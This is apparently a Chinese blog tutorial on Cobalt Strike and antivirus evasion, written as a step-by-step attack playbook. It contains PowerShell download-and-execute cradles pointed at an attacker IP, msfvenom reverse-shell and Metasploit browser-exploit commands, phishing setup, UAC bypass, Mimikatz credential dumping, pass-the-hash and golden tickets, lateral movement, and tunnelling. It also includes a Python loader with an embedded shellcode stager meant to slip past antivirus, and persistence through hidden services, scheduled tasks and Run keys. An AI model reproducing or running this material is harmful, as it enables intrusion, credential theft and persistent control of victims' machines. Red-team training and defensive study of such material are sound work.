CS免杀
Cobaltstrike
一、基礎使用
./teamserver 192.168.43.224 123456 啟動服務器端 在windows下的鏈接 雙擊bat文件即可 在linux下 ./start.sh讓目標機器鏈接上teamserver
1.設置好監聽器 2.生成攻擊載荷url它是個文件路徑,就是讓目標(受害者)通過地址下載惡意腳本powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.43.224:80/a'))"http://192.168.43.224/a這是一段木馬就是使用powershell來進行下載代碼并且運行 3.攻擊二、Cobalt Stike使用重定器
第一保護服務器地址,并作為攻擊者,它也是一個很好的安全操作。第二 它給予了一些很好的適應能力,假如工具中有一兩個堵塞了也沒有什么大不了的,也可以進行通信。
socat TCP4-LISTEN:80,fork TCP4:team.cskali.com:80 將監聽道德80端口的數據轉發到teamserve的80端口上在監聽的host設置上來,應該設置為分機的host上的80端口,因為已經做了轉發,可以直接設置。
然后再設置beacon時,相當于幾個備用的接口。
注意DNS
的設置(當然在公網環境下買的沒有這個需求)
三、DNS Beacon的使用與原理
DNS木馬隱蔽性好,在受害者不會開放任何端口,可以有效地規避防火墻協議,走的是53端口
分類
windows/beacon_dns.resrve_http(傳輸數據小) beacon_dns/reserve_http(支持命令切換模式 mode dns)速度很慢,但非常隱蔽 beacon_dns/reserve_dns_txt(支持命令切換模式: mode dns_txt) 傳輸數據量更大,推薦使用 windows/beacon_dns/reverse_dns_txt(傳輸數據打)域名創建a記錄test.1377day.com指向teamserver
接著創建三個ns記錄 分別為C1,C2,C3指向test.1377day.com
進入beacon 打開help
使用checkin命令來進入嘗試數據連續返回,發一些基本信息回來四、用戶驅動攻擊
sleep + 數字 調節屏幕暗的時間五、派生會話
派生會話,選擇好監聽器,會選擇執行,在選擇ip的時候,選擇的是新的主機的ip192.168.0.134但是beacons依然選擇原來的teamserver,新建一個會話的監聽。
1.派生會話(自身增加會話,或者給其他的teamserver)
2.派生metasploit會話
首先還是新建一個監聽器,tcp/ip,選擇windows/foreign/reverse_tcp這個payload,然后主機設置你的metasploit監聽的端口,主機,確保一致,
4.metasplot生成木馬與cobalt strike會話
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.104 LPORT=8808 -f exe > /tmp/shell1.exe注意在添加監聽器的時候,要選擇http的監聽模式,不要搞錯了,這個很重要。這個就是host:192.168.0.104,port:8808的監聽模式。
把msf生成的木馬拿到肉雞上去執行就會返回一個會話,也可以使用
5.metasploit使用溢出exp與cobalt strike會話
use exploit/windows/browser/ms14_064_ole_code_execution set srvhost 192.168.0.134 這是teamserver set SRVPORT 80 set payload windows/meterpreter/reverse_http set LHOST 192.168.0.104 本地監聽的localhost,就是黑客電腦 set lport 8888 set disablepayloadhandler True set PrependMigrate true set lhost 80 exploit將DisablePayLoadHandler設置為true。這告訴metasploit框架,它不需要在metasploit框架內創建處理程序來服務有效負載連接。就是讓cobalt strike來處理。
set PrependMigrate true
這個選項告訴metasploit框架修改其stager,以便在利用之后立即遷移到另一個進程。此選項對于客戶端攻擊非常重要。它允許您的會話在被利用的應用程序崩潰或關閉時存活。
當xp系統的受害人用瀏覽器訪問http://192.168.0.134:80/1Gk97z32pr 這個帶有攻擊代碼的鏈接時候,成功的話就會在cobalt strike 產生一個會話
sessions -i + ID
use exploit/windows/local/payload_inject set session 3 set payload windows/meterpreter/reverse_http set lhsot 192.168.0.104 set lport 8888 set DisablePayloadHandler true exploit -j將這個sessions分配個cobaltstrike.
會話的協議,一定要對應,不然會一直報錯的。
六、釣魚攻擊
生成后門
1.html文件運行釣魚病毒
2.宏病毒
釣魚攻擊
收集用戶瀏覽器客戶端的信息,web管理模塊,可以查看現在能使用的web模塊
克隆網站
進行攻擊
進行鍵盤記錄
下載執行木馬
meatsploit溢出攻擊配合cobal
命令一敲萬事大吉
use exploit/windows/browser/ms14_064_ole_code_execution set srvhost 192.168.0.134 set SRVPORT 888 set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.134 exploithttp://192.168.0.134:888/tsGoWgaV4P9NW
將上面的url地址放入到克隆網站的攻擊網址里面 當受害人訪問http://192.168.0.134:80/msf 就會加載http://192.168.0.134:888/tsGoWgaV4P9NW
七、魚叉釣魚攻擊
1.準備要釣魚的目標郵箱
2.模版文件
在準備賬號密碼的時候,賬號和密碼之間一定要使用兩下tab鍵
3.smtp發送郵箱
八、權限提升
UAC 是微軟在 Windows Vista 以后版本引入的一種安全機制,通過 UAC,應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員特別授予管理員級別的系統訪問權限。UAC 可以阻止未經授權的應用程序自動進行安裝,并防止無意中更改系統設置。
常用的權限提升方式
bypassuac使用ms14-058提權
在里面使用cmd命令的時候,使用shell whoami
whiami/groups查看用戶權限和用戶組的信息
smb-pipe beacon 推薦內網環境下使用
powershell提權
需要收集自己的提權腳本進行使用
powershell-import 導入腳本
powershell Invoke-AllChecks開始掃描
然后icacls 查看權限 F完全控制一定要有完全的F權限才行
增加用戶系統用戶
powershell Install-ServiceBinary -ServiceName Protect_2345Explorer -UserName rockyou123455 -Password 123456
spawnas .(這是域) 然后使用賬號密碼,來獲得一個新的beacon,然后就可以bypassuac獲取超級權限
運行mimikatz
九、域內滲透(畫好拓撲圖)
1.枚舉信任主機
1.1 windows命令
派生會話使用smppayload更適合用于做內網滲透
shell whoami/groups 查看在用戶組中的用戶權限
shell whoami 查看用戶權限
shell net user查看本地的主機用戶
shell net view /domain查看共有多少個域在本地
net view /domain:TEST1 查看當前域主機列表,(后面的TEST1時在上條命令中的主機名字)
shell ping + 上一步查看的主機名查看ip
net group \\server2003 /domain 查看域內成員computer的名字
nltest /dclist:TEST1查看域控 (如果報錯說沒有這個命令,那么就是因為powershel這種x86環境下是沒有的)
解決辦法:shell c:\windows\sysnative\nltest /dclist:test1
nltest /domain_trusts 查看域的信任關系
1.2 powerView 模塊的使用
先使用powershell-import 進行模塊的引入
powershell Invoke-Netview 將常用的信息顯示出來
powershell Invoke-ShareFinder 查找共享的
powershell Invoke-MapDomainTrusts查看信任關系的
1.3 net模塊
net dclist 列出域控
net dclist [domain] 列出目標共享列表
net share \\DATABASE 列出當前域控的主機 雙斜杠后面是名字
net view 查看域內主機
net view [domain]
2 判斷當前用戶位置
2.1 判斷是否本地管理員
因為 普通域用戶 在做一些高級別操作的配置 需要域管理員的賬號和密碼。這是很不方便的。有的時候就會把普通的域用戶 把它增加目標主機的超級管理員組,那么再做配置的時候就不需要域的超級管理員賬號和密碼。shell dir \\目標機器名\C$如果本地用戶是不會死目標機器碼本地管理員,這里就可以成功訪問,不然就會沒有權限
如果能看,就是某一臺機子的本地超級管理員
powerview Invoke-FindLocalAdminAccess也可以采用這個模塊的方法 查看信任主機里是不是其超級管理員
2.2 判斷是否是域內管理員
shell net group "enterprise admins" /domain查詢域內管理員是
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain
beacon下的命令
net group \\dc查看dc的組
net localgroup \\dc “admin” 查找一下dc的admin組,要注意其中的權限分配,還有就是查詢的速度會很慢,耐住性子
powerview
powershell Get-NetLocalGroup -HostName database1查看database1的本地用戶組
2.3 winrm執行powershell
本條基于所滲透的主機是本地的超級管理員
shell dir database1 \C$ 查看database1的c盤目錄
shell dir /S /B \\database1\c$\users 查看曾經登錄過的用戶,這個目錄下信息含量很大
powershell Invoke-Command -ComputerName database1 -ScriptBlock{ dir c:\}這里就相當于使用powershell執行cmd命令 ,有可能因為鏈接不是很穩定,導致執行命令出錯
powershell Invoke-Command -ComputerName database1 -ScriptBlock{ net localgroup administrators}
這些命令都是在傷害著這臺機子上執行的
2.4 powersploit 運行MImikatz
powershell-import invoke-MImikatz.ps1導入該內網滲透神器
powershell Invoke-Mimikatz -ComputerName database1
3 登錄驗證
3.1 制作憑證(必須要系統權限system)
用mimikatz收集到的密碼 用憑證制作一個標記,制作成臨時身份。
rev2self 終止標記 (這是beacon命令,恢復原來的令牌【token】)
訪問域控主機
steal_token ID 域控主機的超級管理員進程(ID是超級管理員進程)
make_token TEST1\Aadminstrator 123456 制作token
make_token domain\user passworddomain可以生成本地的,代碼是一個點
spawnas domain\user password再生成一個會話
4 hash驗證
4.1 散列認證
pth TEST1\username NTLM
4.2 kerberos憑證認證
畫個重點
Kerberos和密碼散列認證有些不一樣,但是兩者同樣都是使用憑據來產生標記 Kerberos票證是存儲存在一個叫kerberos托盤的地方 Kerberos原理是你們可以使用一個中間人 它叫 密匙分配發送服務器 并且 密匙分配發送服務器出憑據,你們可能現在使用那個憑據一次性與服務器相互作用他會告訴服務器,我很好 這是我憑據 驗證憑據這個中間人如果信任它會給我服務器的憑據 這個憑據就可以讓我們保持交互 并且沒有任何帳號建立 如果你們獲取了一個憑據 那就集成它,然后你們就可以使用這個指定憑據來與服務器進行交互了。一般情況下我使用憑據最好使用黃金憑據。 黃金憑據是域管理員自己生成的Kerberos憑據 來用mimikatz偽造一個黃金票證有了黃金票據就有了訪問域控權限限 ,通常用于后門。
你們需要四個不同的信息。
用戶 、域名、域id krbtgt 的hash
首先 shell c:\windows\sysnative\klist 查看本地的票據
shell whoami/user獲取域的id
列舉黃金票據 shell klist 64位置 shell c:\windows\sysnative\klist kerberos_ccache_use 從ccache文件中導入票據應用于此會話 kerberos_ticket_purge 清除當前會話的票據 kerberos_ticket_use Apply 從ticket文件中導入票據應用于此會話5 代碼執行
方法一
先制作一個exe后門 然后上傳到當前用戶的文件夾下面 然后使用copy命令拷貝到被受信任的主機中 shell copy D:/user/admin.a.exe \\database1\C$\WINDOWS\TEMP\http.exe shell sc \\host create name binpath= C$\WINDOWS\TEMP\http.exe shell sc \\host start name shell sc \\host delete name 當前執行的權限是什么返回的權限就是什么方法二
前面的上傳復制命令不變 shell net time \\host shell at \\host 15:14 c:\path\to\bad.exe 15時14分啟動服務轉發監聽器 內網的特殊情況 kali和域控不在一個ip段內,不能相互交互,所以要用到轉發監聽器
6 自動化操作
首先查找本地的管理員,Invoke-FindLocalAdminAccess,然后登陸,偷取臨時token。
十 隧道的使用
這是整個過程的拓撲圖。
1.scok轉發
正向鏈接掃描的方式
sock + port開啟sock轉發
sock + stop關閉sock轉發
更改kali上的proxychains的配置文件實現代理轉發
這里是不能夠使用PING掃描方式的。nmap -Pn -sT 10.10.10.4
2.metasploit在beacon使用 隧道轉發
可以發送信息 和接收信息的 setg Prosies socks4:127.0.0.1:[port] setg Proxies socks4:192.168.0.134:21743 setg ReverseAllowProxy true 允許反向代理 unsetg Proxies[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-EDbqKwha-1612570082608)(https://i.loli.net/2020/12/27/rupVESfDtGv3eao.png)]
最好再開一臺kali來鏈接,不要和teamserver相同。
十一 ssh隧道在beacon中的使用
使用beacon的機器,直接與teamserver交互的主機
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ouDS8zN8-1612570082609)(https://i.loli.net/2020/12/27/kfrRjZW3mVuFg76.png)]
當前是不能夠鏈接的,這里的ubuntu是有他的賬號和密碼,現在是在ubuntu上做一個隧道,讓他進行轉發到win7上去。
在teamsever上開發一個1080端口,鏈接到154的機器上。然后win7的機器將445端口的數據全都轉發。
ssh -D創建一個動態的端口鏈接到154,這一步在teaserver上來執行。ssh -D 1080 webper@192.168.0.154
socat TCP-LISTEN:445,fork SOCKS4:127.0.0.1:10.10.10.129:445然后我們的beacon是通過smb端口進行的,就是445端口,我們對于445端口訪問就變成了對129的445端口的訪問。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-KyhU7UaP-1612570082611)(https://i.loli.net/2020/12/27/kfrRjZW3mVuFg76.png)]
十二 使用多種方法免殺payload
1.HanzoInjection 方法
? HanzoInjection.exe -e payload_meterpreter.binbin是二進制文件,最好不要使用64位的payload,因為很多的免殺文件都不支持64位的文件。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-iyNMgTpH-1612570082612)(https://i.loli.net/2020/12/27/V4Dmhs5zy7vqp2f.png)]
https://github.com/P0cL4bs/hanzoInjection
2.Invoke-PSImage
下載地址:https://github.com/peewpw/Invoke-PSImage
Powershell -ExecutionPolicy Bypass 允許導入腳本Import-Module .\Invoke-PSImage.ps1 導入腳本Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web用cs生成payload payload.ps1 、
然后會給你一段利用的代碼,這個時候選擇生成的圖片用cs做一個文件下載,然后選擇那個圖片,將其中的url替換一下,然后執行即可
3.python免殺
生成payload,注意不要選擇64位,一定要選32位
模版
from ctypes import * import ctypes # length: 614 bytes buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\xe8\x80\x00\x00\x00\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x43\x4f\x4d\x29\x00\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x59\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x61\x5a\x48\x89\xc1\x41\xb8\xd2\x04\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x44\x48\x89\xc1\x48\x31\xd2\x41\x58\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x6a\x0a\x5f\x48\x89\xf1\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1d\x48\xff\xcf\x74\x10\xeb\xdf\xeb\x63\xe8\xb7\xff\xff\xff\x2f\x53\x39\x70\x61\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\xc3\xe8\x35\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x31\x2e\x31\x36\x30\x00" #libc = CDLL('libc.so.6') PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer):buf = c_char_p(buffer)size = len(buffer)addr = libc.valloc(size)addr = c_void_p(addr)if 0 == addr: raise Exception("Failed to allocate memory")memmove(addr, buf, size)if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):raise Exception("Failed to set protection on buffer")return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0:if 1:ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),buf,ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi https://github.com/pyinstaller/pyinstaller/releases安裝python2.7 增加環境變量 安裝生成exe的庫 Python setup.py install 不能帶有中文路徑否則出錯 Pip install pyinstaller 生成exe文件 pyinstaller -F bb.py十三 C2的使用
使用:./teasmserver [ip][password][/patch/profile]
profiles的參數講解
選項關鍵詞 jitter控制beacon的不穩定的抖動時間 maxdns 控制dns的最大訪問次數 sleeptime 控制beacon的睡眠間隔時間 spawnto 指定派生的名字 uri 請求的url useragent 每次攻擊時的瀏覽器頭信息 除了設置Malleable C2的選項外,還能增加任意的http頭信息增加到beacon中進行交互通信。 增加任意指定的參數的命令 header "header" "value" parameter "key" "value"c2lint的使用
檢測他的配置文件是否是正確的。
參考文檔:
https://github.com/rsmudge/Malleable-C2-Profiles
https://blog.cobaltstrike.com/2018/06/04/broken-promises-and-malleable-c2-profiles/
https://www.cobaltstrike.com/help-malleable-c2
十四 Aggressor-scripts的使用
修改默認端口
就是在teamserver的啟動程序中,將-port的參數改成想要的端口即可
修改端口 默認的端口可能會被藍隊溯源 得到ip個端口 或者被ids檢測到。
十五 可持續后門的使用
1.服務自動啟動(會被防火墻攔截)
sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(' http://192.168.0.150:80/a'))\"" sc config "Windows Power" start= auto sc description "Windows Power" "windows auto service" 增加描述 net start "Windows Power" sc delete "Windows Power" 這個程序如果免殺的話,360就不會攔截 sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe" sc description "server power" "description" 設置服務的描述字符串 sc config "server power" start= auto 設置這個服務為自動啟動 net start "server power" 啟動服務2.計劃任務
創建任務 schtasks /create /tn "windowsup" /tr "C:\artifact.exe" /ru SYSTEM /sc onstart 刪除任務 schtasks /delete /tn windowsup 查詢任務 chcp 437 解決這個問題 錯誤: 無法加載列資源。 s 請修改字符集 schtasks /query /tn windowsup 手工運行任務 schtasks /run /tn windowsup3.注冊表啟動
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\artifact.exe" /f十六 Veil 免殺過殺軟
鏈接:https://github.com/Veil-Framework/Veil
https://www.cnblogs.com/-qing-/p/11031699.html
https://www.veil-framework.com/
use 1 選擇調試
總結
- 上一篇: 数字图像处理_冈萨雷斯
- 下一篇: 第四章 平稳序列的拟合与预测